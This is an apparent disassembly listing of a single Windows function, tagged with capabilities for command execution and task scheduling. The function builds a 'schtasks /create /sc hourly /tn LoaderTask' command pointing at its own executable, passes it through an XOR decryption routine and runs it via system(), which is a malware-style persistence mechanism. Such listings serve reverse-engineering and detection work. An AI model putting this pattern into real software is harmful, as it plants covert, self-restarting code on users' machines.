Function at 0x1400017e0
Capabilities:
Execute command
Schedule task via schtasks

Disassembly:
push rbp
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0xd0]
mov eax, ecx
mov byte [rbp + 0x20], al
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.GetExecutablePath_abi:cxx11___
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x70]
mov r8, rdx
lea rdx, str.schtasks__create__sc_hourly__tn_LoaderTask__tr__
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std:
lea rax, [rbp - 0x90]
lea rdx, [rbp - 0x50]
lea r8, [0x140005172]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x21]
mov rcx, rax
call fcn.140001e98
lea rax, [rbp - 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::end__
mov rbx, rax
lea rax, [rbp - 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::begin__
mov rdx, rax
lea rcx, [rbp - 0x21]
lea rax, [rbp - 0xb0]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp - 0x21]
mov rcx, rax
call sym.std::allocator_char_::allocator__
movsx ebx, byte [rbp + 0x20]
lea rax, [rbp - 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rdx, rax
lea rax, [rbp - 0x20]
mov r8d, ebx
mov rcx, rax
call sym.XORDecrypt_abi:cxx11__char_const__char_
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
test eax, eax
sete bl
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
test bl, bl
je 0x140001917
lea rax, str.Task_scheduled_successfully.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::wcout]
mov rcx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov rax, qword [0x140005840]
mov rdx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
mov ebx, 1
jmp 0x140001947
lea rax, str.Failed_to_schedule_the_task.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::wcerr]
mov rcx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rcx, rax
mov rax, qword [0x140005840]
mov rdx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
mov ebx, 0
lea rax, [rbp - 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x1400019e5
add rsp, 0xd8
pop rbx
pop rbp
ret